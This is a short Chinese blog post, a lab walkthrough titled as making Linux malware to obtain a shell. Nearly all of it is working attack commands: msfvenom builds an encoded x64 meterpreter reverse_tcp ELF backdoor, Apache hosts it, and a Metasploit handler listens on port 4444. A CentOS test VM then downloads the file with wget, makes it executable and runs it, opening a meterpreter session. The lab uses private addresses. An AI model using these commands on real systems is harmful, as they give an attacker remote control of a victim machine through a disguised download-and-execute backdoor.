制作 Linux 恶意软件获取 shell

实战-制作 Linux 恶意软件获取 shell

1、使用 msfvenom 生成 linux 可执行文件

root@kali:~# msfvenom -a x64 --platform linux -p

linux/x64/meterpreter/reverse_tcp LHOST=192.168.185.252 LPORT=4444 -b "\x00" -i 10 -f elf -o /var/www/html/xuegod

root@kali:~# /etc/init.d/apache2 start#开启 apache

2、MSF 配置监听

root@kali:~# msfconsole

msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set LHOST 192.168.185.252

msf6 exploit(multi/handler) > set LPORT 4444

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.185.252:4444

打开 centos 7 linux 虚拟机,新建一个终端:

[root@ localhost~]# wget http:// 192.168.185.252/xuegod #下载后门

添加执行权限

root@ localhost:~# chmod +x xuegod

执行程序

root@ localhost:~# ./xuegod

我们回到 MSF 控制台

Session 已经建立

meterpreter > ifconfig

posted @ 2025-07-16 15:11  长温不喜风云  阅读(19)  评论(0)    收藏  举报